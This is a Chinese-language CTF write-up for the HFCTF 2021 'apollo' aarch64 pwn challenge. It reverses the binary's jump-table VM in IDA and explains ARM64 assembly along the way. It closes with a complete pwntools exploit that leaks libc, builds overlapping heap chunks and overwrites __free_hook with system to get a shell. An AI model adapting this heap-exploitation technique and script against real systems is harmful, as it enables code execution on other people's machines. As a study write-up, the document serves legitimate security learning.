虎符2021-apollo复现

复现pwn题目

Posted by X1ng on April 9, 2021

逆向依旧菜,arm依旧菜,轩哥的wp依旧细,,参考轩哥的博客撸一撸aarch64汇编

apollo

hint:漏洞点在于车辆前方的绿灯或黄灯的转化,使车辆到达了地图外

例行检查

静态分析

ida打开发现有很多函数

找到一个sub_D04调用了三个setvbuf,x查看交叉引用

继续查看sub_2678函数的交叉引用

可以看到直接出现在got表里面了,并且被start函数引用

所以猜测sub_2678这个函数是main函数

而其中调用的第二个函数sub_DA8是输出一些字符串,不重要

sub_25CC

申请0x1000大小的堆内存保存在qword_14078地址处,并往堆里写数据

主要看sub_E14函数

这里查看汇编

是由于最后的

.text:0000000000000ED0 loc_ED0                                 ; CODE XREF: sub_E14+A0↑j
.text:0000000000000ED0                                         ; sub_E14+200↓j ...
.text:0000000000000ED0                 BR              X0

也就是伪代码中的JUMPOUT,ida直接识别了一部分就停止了,但是实际这个函数并不只有这些逻辑

对这个函数进行逆向分析

.text:0000000000000E14                 STP             X29, X30, [SP,#var_C0]!
.text:0000000000000E18                 MOV             X29, SP
.text:0000000000000E1C                 STR             X19, [SP,#0xC0+var_B0]

保存调用函数栈帧信息,需要注意的是aarch64的栈结构与x86有所不同

x86-64平台栈帧结构与ARM64栈帧结构对比

ARM64平台上的栈帧寄存器是FP,它记录的是一个函数执行过程中的栈顶(FP=SP),并且把父函数的FP保存在堆栈的栈顶,以便于回溯

.text:0000000000000E20                 ADRP            X0, #__stack_chk_guard_ptr@PAGE
.text:0000000000000E24                 LDR             X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28                 LDR             X1, [X0]
.text:0000000000000E2C                 STR             X1, [X29,#0xC0+var_8]     
.text:0000000000000E30                 MOV             X1, #0

这部分并不重要,是初始化canary之类的操作

主要看下面

.text:0000000000000E34                 ADRP            X0, #off_14010@PAGE
.text:0000000000000E38                 ADD             X1, X0, #off_14010@PAGEOFF

What are @PAGE and @PAGEOFF symbols in IDA?

The ADRP instruction loads the address of the 4KB page anywhere in the +/-4GB (33 bits) range of the current instruction (which takes 21 high bits of the offset). this is denoted by the @PAGE operator. then, we can either use LDR or STR to read or write any address inside that page or ADD to to calculate the final address using the remaining 12 bits of the offset (denoted by@PAGEOFF).

也就是说ADRP指令是将off_14010地址处的低33bits加上pc的值保存到X0寄存器中,而之后的ADD指令将off_14010偏移处剩余的高12bits与X0中的值相加保存到X1寄存器中

off_14010地址处保存的是一个地址列表,而此时X1中保存的应该是off_14010这个地址

.text:0000000000000E3C                 ADD             X0, X29, #0x58
.text:0000000000000E40                 LDP             X2, X3, [X1]
.text:0000000000000E44                 STP             X2, X3, [X0]
.text:0000000000000E48                 LDP             X2, X3, [X1,#0x10]
.text:0000000000000E4C                 STP             X2, X3, [X0,#0x10]
.text:0000000000000E50                 LDP             X2, X3, [X1,#0x20]
.text:0000000000000E54                 STP             X2, X3, [X0,#0x20]
.text:0000000000000E58                 LDP             X2, X3, [X1,#0x30]
.text:0000000000000E5C                 STP             X2, X3, [X0,#0x30]
.text:0000000000000E60                 LDP             X2, X3, [X1,#0x40]
.text:0000000000000E64                 STP             X2, X3, [X0,#0x40]
.text:0000000000000E68                 LDP             X1, X2, [X1,#0x50]
.text:0000000000000E6C                 STP             X1, X2, [X0,#0x50]

X29寄存器是帧指针寄存器(FP),差不多是x86下bp寄存器的作用,所以这里实际上就是取X1中地址处保存的指针保存到栈上与X29偏移0x58的位置

.text:0000000000000E70                 ADRP            X0, #off_13F98@PAGE
.text:0000000000000E74                 LDR             X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78                 LDR             X0, [X0]

又是ADRP指令,直接将off_13F98地址处的数据加载到了X0寄存器中

off_13F98地址处的数据就是保存堆地址的指针qword_14078,所以执行完第二个LDR,X0中保存的是存放用户输入数据的堆地址

.text:0000000000000E7C                 STR             X0, [X29,#0xC0+var_78]
.text:0000000000000E80                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000E84                 STR             X0, [X29,#0xC0+var_70]
.text:0000000000000E88                 LDR             X0, [X29,#0xC0+var_78]

将堆地址保存到 与X29偏移0xC0-0x78处

.text:0000000000000E8C                 LDRB            W0, [X0]
.text:0000000000000E90                 MOV             W1, W0

取用户输入的数据保存在W1(X1的低4bytes)中

.text:0000000000000E94                 ADRP            X0, #off_13FE8@PAGE
.text:0000000000000E98                 LDR             X0, [X0,#off_13FE8@PAGEOFF]

又是ADRP指令,直接将off_13FE8地址处的数据加载到了X0寄存器中

也就是dword_3770指针,此处保存的是一个int数组

.text:0000000000000E9C                 SXTW            X1, W1

SXTW将目标操作数低32bits赋值给源操作数,此时X0中是上面数组的地址,X1中是用户输入数据第一个字节

.text:0000000000000EA0                 LDR             W0, [X0,X1,LSL#2]
.text:0000000000000EA4                 SXTW            X0, W0

将X1中数据左移2位(乘4,int类型数组)后,加上X0中的数据作为地址,取该地址的值到X0中

其实就是将用户输入的数据作为下标取dword_3770数组中的元素

.text:0000000000000EA8                 LSL             X0, X0, #3
.text:0000000000000EAC                 ADD             X1, X29, #0x58
.text:0000000000000EB0                 LDR             X0, [X1,X0]
.text:0000000000000EB4                 B               loc_ED0
.text:0000000000000EB8 ; ---------------------------------------------------------------------------
... ...
.text:0000000000000ED0 ; ---------------------------------------------------------------------------
.text:0000000000000ED0
.text:0000000000000ED0 loc_ED0                                 ; CODE XREF: sub_E14+A0↑j
.text:0000000000000ED0                                         ; sub_E14+200↓j ...
.text:0000000000000ED0                 BR              X0

将X0中的数据左移3位(地址长度为8),作为 与X29偏移0x58处的跳转表 的下标,BR指令跳转到对应地址

其实就是伪代码中的

JUMPOUT(__CS__, *(&v0 + dword_3770[*(unsigned __int8 *)qword_14078]));

由于跳转指令并不是BL系列的指令,所以跳转前后实际在一个函数里,没有栈帧的变化

整个程序类似于一种虚拟机结构,按照用户输入执行相应的代码

可以找出用户输入的指令对应的代码地址

0x0 : :sub_2550
0x2a:*:sub_1018 
0x2b:+:sub_1394
0x2d:-:sub_14D4
0x2f:/:sub_11F4
0x4d:M:loc_EB8
0x61:a:sub_1D10
0x64:d:sub_2080
0x70:p:sub_2400
0x73:s:sub_1990
0x77:w:sub_1620

再逐一分析各个地址的代码

可以发现每个跳转地址都会先判断dword_14098这个全局变量有没有被赋值,如果全局变量dword_14098为0的话会报错,而查看这个全局变量的交叉引用可以发现在sub_E14中被赋值

但是其实真正赋值的地方在loc_EB8的逻辑里(这里ida将跳转表的其他地址识别为函数,但是没有将loc_EB8识别为函数,但是其实所有的跳转地址都不是单独的函数),而这部分并没有被ida识别出c伪代码

查看loc_EB8的汇编

没有被ida识别出c伪代码的原因应该是loc_ED0处通过X0来跳转,ida不知道X0的值,所以认为并没有跳转loc_EB8的代码

.text:0000000000000EB8 loc_EB8                                 ; DATA XREF: .data:off_14010↓o
.text:0000000000000EB8                 ADRP            X0, #off_13F90@PAGE
.text:0000000000000EBC                 LDR             X0, [X0,#off_13F90@PAGEOFF]
.text:0000000000000EC0                 LDR             W0, [X0]

off_13F90处的指针指向的地址处的值(全局变量dword_14098)加载到W0中

.text:0000000000000EC4                 CMP             W0, #0
.text:0000000000000EC8                 B.NE            loc_2564	

如果全局变量dword_14098不为0则跳转loc_2564,否则继续

结合其他函数中判断该值是否为0,说明用户输入必须控制程序先跳转到loc_EB8,并且这里只能执行一次

.text:0000000000000ECC                 B               loc_ED4
.text:0000000000000ED0 ; ---------------------------------------------------------------------------
... ...
.text:0000000000000ED4 ; ---------------------------------------------------------------------------
.text:0000000000000ED4
.text:0000000000000ED4 loc_ED4                                 ; CODE XREF: sub_E14+B8↑j
.text:0000000000000ED4                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000ED8                 ADD             X0, X0, #1
.text:0000000000000EDC                 LDRB            W0, [X0]
.text:0000000000000EE0                 MOV             W1, W0

继续执行则跳转到loc_ED4,加载X29的偏移0xC0-0x78处的数据到X0,结合上面的分析,这里X0得到的其实就是保存用户输入的堆地址,加1后取出第二个字节,存放在W1

.text:0000000000000EE4                 ADRP            X0, #off_13FD8@PAGE
.text:0000000000000EE8                 LDR             X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000EEC                 STR             W1, [X0]

将其存放在off_13FD8指针指向的全局变量dword_1409C

.text:0000000000000EF0                 LDR             X0, [X29,#0xC0+var_78]
.text:0000000000000EF4                 ADD             X0, X0, #2
.text:0000000000000EF8                 LDRB            W0, [X0]
.text:0000000000000EFC                 MOV             W1, W0
.text:0000000000000F00                 ADRP            X0, #off_13F68@PAGE
.text:0000000000000F04                 LDR             X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F08                 STR             W1, [X0]

与上面操作相同,取用户输入的第三个字节存放在off_13F68指针指向的全局变量dword_140A0


.text:0000000000000F0C                 ADRP            X0, #off_13FD8@PAGE
.text:0000000000000F10                 LDR             X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000F14                 LDR             W0, [X0]
.text:0000000000000F18                 CMP             W0, #0x10
.text:0000000000000F1C                 B.GT            loc_256C

如果off_13FD8指针指向的全局变量dword_1409C大于0x10则跳转loc_2564,否则继续

.text:0000000000000F20                 ADRP            X0, #off_13F68@PAGE
.text:0000000000000F24                 LDR             X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F28                 LDR             W0, [X0]
.text:0000000000000F2C                 CMP             W0, #0x10
.text:0000000000000F30                 B.GT            loc_256C

如果off_13F68指针指向的全局变量dword_140A0大于0x10则跳转loc_2564,否则继续

.text:0000000000000F34                 ADRP            X0, #off_13FD8@PAGE
.text:0000000000000F38                 LDR             X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000F3C                 LDR             W0, [X0]
.text:0000000000000F40                 CMP             W0, #3
.text:0000000000000F44                 B.LE            loc_256C

如果off_13FD8指针指向的全局变量dword_1409C小于等于3则跳转loc_2564,否则继续

.text:0000000000000F48                 ADRP            X0, #off_13F68@PAGE
.text:0000000000000F4C                 LDR             X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F50                 LDR             W0, [X0]
.text:0000000000000F54                 CMP             W0, #3
.text:0000000000000F58                 B.LE            loc_256C

如果off_13F68指针指向的全局变量dword_140A0小于等于3则跳转loc_2564,否则继续

而全局变量dword_1409Cdword_140A0是之前取得的用户输入数据的第二和第三个字节

所以这里如果要正常执行而不用跳转到loc_256C,需要满足

dword_14098 != 0
0x10 >= input[1] > 0x3
0x10 >= input[2] > 0x3

  • 如果条件满足,继续运行

      .text:0000000000000F5C                 ADRP            X0, #off_13FD8@PAGE
      .text:0000000000000F60                 LDR             X0, [X0,#off_13FD8@PAGEOFF]
      .text:0000000000000F64                 LDR             W1, [X0]
      .text:0000000000000F68                 ADRP            X0, #off_13F68@PAGE
      .text:0000000000000F6C                 LDR             X0, [X0,#off_13F68@PAGEOFF]
      .text:0000000000000F70                 LDR             W0, [X0]
      .text:0000000000000F74                 MADD            W0, W1, W0, WZR
      .text:0000000000000F78                 SXTW            X0, W0
    

    将全局变量dword_1409Cdword_140A0中的值相乘,结果存放在X0寄存器中

      .text:0000000000000F7C                 MOV             X1, #1
      .text:0000000000000F80                 BL              .calloc
      .text:0000000000000F84                 MOV             X1, X0
      .text:0000000000000F88                 ADRP            X0, #off_13F80@PAGE
      .text:0000000000000F8C                 LDR             X0, [X0,#off_13F80@PAGEOFF]
      .text:0000000000000F90                 STR             X1, [X0]
    

    调用calloc(dword_1409C * dword_140A0, 1);,返回值放在off_13F80指针指向的全局变量dword_14088

      .text:0000000000000F94                 ADRP            X0, #off_13FD8@PAGE
      .text:0000000000000F98                 LDR             X0, [X0,#off_13FD8@PAGEOFF]
      .text:0000000000000F9C                 LDR             W1, [X0]
      .text:0000000000000FA0                 ADRP            X0, #off_13F68@PAGE
      .text:0000000000000FA4                 LDR             X0, [X0,#off_13F68@PAGEOFF]
      .text:0000000000000FA8                 LDR             W0, [X0]
      .text:0000000000000FAC                 MADD            W0, W1, W0, WZR
      .text:0000000000000FB0                 SXTW            X0, W0
      .text:0000000000000FB4                 MOV             X1, #1
      .text:0000000000000FB8                 BL              .calloc
      .text:0000000000000FBC                 MOV             X1, X0
      .text:0000000000000FC0                 ADRP            X0, #off_13FF0@PAGE
      .text:0000000000000FC4                 LDR             X0, [X0,#off_13FF0@PAGEOFF]
      .text:0000000000000FC8                 STR             X1, [X0]
    

    同上,调用calloc(dword_1409C * dword_140A0, 1);,返回值放在off_13FF0指针指向的全局变量qword_14090

      .text:0000000000000FCC                 ADRP            X0, #off_13F90@PAGE
      .text:0000000000000FD0                 LDR             X0, [X0,#off_13F90@PAGEOFF]
      .text:0000000000000FD4                 MOV             W1, #1
      .text:0000000000000FD8                 STR             W1, [X0]
    

    将全局变量dword_14098置为1,之后就可以正常跳转到跳转表上的其他地址了

      .text:0000000000000FDC                 LDR             X0, [X29,#0xC0+var_78]
      .text:0000000000000FE0                 ADD             X0, X0, #3
      .text:0000000000000FE4                 STR             X0, [X29,#0xC0+var_78]
      .text:0000000000000FE8                 LDR             X0, [X29,#0xC0+var_78]
      .text:0000000000000FEC                 LDRB            W0, [X0]
      .text:0000000000000FF0                 MOV             W1, W0
    

    将用户输入的第四个字节地址保存到 与X29偏移0xC0-0x78处,并取第四个字节到W1中

      .text:0000000000000FF4                 ADRP            X0, #off_13FE8@PAGE
      .text:0000000000000FF8                 LDR             X0, [X0,#off_13FE8@PAGEOFF]
      .text:0000000000000FFC                 SXTW            X1, W1
      .text:0000000000001000                 LDR             W0, [X0,X1,LSL#2]
      .text:0000000000001004                 SXTW            X0, W0
      .text:0000000000001008                 LSL             X0, X0, #3
      .text:000000000000100C                 ADD             X1, X29, #0x58
      .text:0000000000001010                 LDR             X0, [X1,X0]
      .text:0000000000001014                 B               loc_ED0
      .text:0000000000001014 ; End of function sub_E14
    

    重新取用户输入的数据跳转到跳转表中对应的地址

  • 而上面条件判断未通过的话则要跳转到loc_256C退出程序

      .text:000000000000256C loc_256C                                ; CODE XREF: sub_E14+108↑j
      .text:000000000000256C                                         ; sub_E14+11C↑j ...
      .text:000000000000256C                 NOP
      .text:0000000000002570                 B               loc_25B8
      ...
      .text:00000000000025B8 loc_25B8                                ; CODE XREF: sub_E14+1754↑j
      .text:00000000000025B8                                         ; sub_E14+175C↑j ...
      .text:00000000000025B8                 ADRP            X0, #unk_3BC8@PAGE
      .text:00000000000025BC                 ADD             X0, X0, #unk_3BC8@PAGEOFF
      .text:00000000000025C0                 BL              .puts
      .text:00000000000025C4                 MOV             W0, #0xFF
      .text:00000000000025C8                 BL              .exit
    

如果要看loc_EB8的伪代码的话,则要从loc_EB8分离出来单独创建一个函数

在分析的时候,由于aarch64的X29寄存器指向栈的低地址,变量存放在相对X29的高地址中,所以可以按照栈结构创建相应的结构体

右键单击表示X29的变量,选择Create new struct type

在弹出的窗口中编辑结构体

struct struct_v0
{
  int a[18];
  size_t input;
  size_t b;
  size_t func_M;
  size_t func_mul;
  size_t func_div;
  size_t func_add;
  size_t func_sub;
  size_t func_w;
  size_t func_s;
  size_t func_a;
  size_t func_d;
  size_t func_p;
  size_t func_finish;
  size_t sub2514;
};

在其他被识别成函数的地方可以右键单击表示X29的变量,选择convert to struct *将变量设置为该结构体的指针

之后ida伪代码变成这种风格

就好分析多了

经过分析,程序的逻辑应该是loc_EB8分配两个地图空间,qword_14088是灯和车所在的地图,然后”+-*/”在地图上布置红绿灯(0、1、2、3)、”wsad”控制汽车移动,在qword_14088地图上车所在的坐标处值为5,qword_14090地图上则会留下汽车移动的痕迹,移动前先判断qword_14088地图中相应方向上的灯颜色(数字)

  • 0则走一格
  • 1则不走,在qword_14090地图中汽车对应位置处保存dword_14080的值,dword_14080自增
  • 2或3则走2格

一些全局变量的意义

  • 全局变量qword_140B0维护一个0x800大小的数组,用于存放malloc分配的堆地址
  • 全局变量dword_14088qword_14090中保存两个地图
  • 全局变量dword_1409Cdword_140A0中存放的应该分别是地图纵向和横向大小
  • 全局变量dword_140A4dword_140A8保存汽车所在位置的纵坐标y和横坐标x

一些跳转表中地址的作用

  • mul功能是malloc分配堆地址到qword_140B0控制的数组中,并在dword_14088地图中相应位置置1
  • div功能是free释放qword_140B0数组中的堆地址,并在qword_14088地图中相应位置置0
  • add功能是将qword_14088地图中指定位置的1改为2或3
  • sub功能是将qword_14088地图中指定位置的2或3改为0
  • wsad即按照规则移动汽车
  • p功能是将dword_14088地图中为1的地方对应的qword_140B0中保存的堆空间的内容输出

按照hint,在地图边缘布置一个2或3可以让车辆到达地图外造成堆溢出

所以思路应该是先用p功能泄露堆块中残留的libc地址,然后由汽车移动造成off-by-one,构造重叠堆块,实现任意地址分配改free_hook

动态调试

之后才想到在vmmap用不了的情况下,可以通过cat /proc/$PID/maps查看程序运行时的地址情况

在比赛时甚至不知道怎么下断点,赛后问了轩哥才知道qemu用户模式的程序基址是固定的

  • qemu-user运行时基址0x4000000000

  • qemu-user运行时堆地址固定,可以在malloc或free下断点得到

  • 程序有alarm函数,在一段时间后会终止进程,可以用ida将其patch掉

    arm是定长指令集,在弹出的窗口中将前四个字节改成nop

    应用到文件中

    方便调试

写exp

#!/usr/bin/python

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='apollo'
libc_name='libc-2.27.so'


libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p = process(["qemu-aarch64-static", "-L", "./", "./"+binary_name])
    #p = process(argv=["qemu-aarch64-static", "-L", "./", "-g", "1234", "./"+binary_name])
    
else:
    p=remote('',)


def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

pd = '\x4d\x10\x10'
pd += '*\x00\x01\xf0\x04'#add 1

pd += '*\x00\x03\xf0\x00'#add 3

pd += '/\x00\x01'
pd += '*\x00\x01\xf0\x00'#add 1

pd += '*\x00\x02\xf0\x00'#add 2

pd += 'p'

pd += '+\x0f\x08\x02'
pd += 'd'*0xb
pd += 's'*0xe
pd += 'd'*0x8
pd += 'sw'

pd += '/\x00\x01'
pd += '/\x00\x02'
pd += '*\x00\x01\x10\x01'#add 1

pd += '*\x00\x02\xf0\x00'#add 2

pd += '*\x00\x04\xf0\x00'#add hook

pd += '/\x00\x02'


sla('cmd> ',pd)

sd('X1ng\n')
time.sleep(0.1)

sd('X3ng\n')
time.sleep(0.1)

sd('\xd0')
time.sleep(0.1)

sd('a'*0x10+p64(0)+p64(0x21))
time.sleep(0.1)

ru('pos:0,1\n')
libc_base = (u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) | 0x4000000000) - 0x154fd0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

log.success('libc_base:' + hex(libc_base))
log.success('system:' + hex(system))
log.success('__free_hook:' + hex(free_hook))

sd('b'*0xf8+p64(0x101)+p64(free_hook)+'b'*0x8)
time.sleep(0.1)

sd('/bin/sh\x00'+'c'*(0xf0-8))

time.sleep(0.1)

sd(p64(system))
time.sleep(0.1)

ia()

据说quiet附件换了,就不搞了(懒狗不想动了

参考资料

ARMv8-aarch64 寄存器和指令集

ARMv8 A64 Quick Reference

虎符 2021 Pwn apollo——clang裁缝店

HFCTF_2021——fmyy’s blog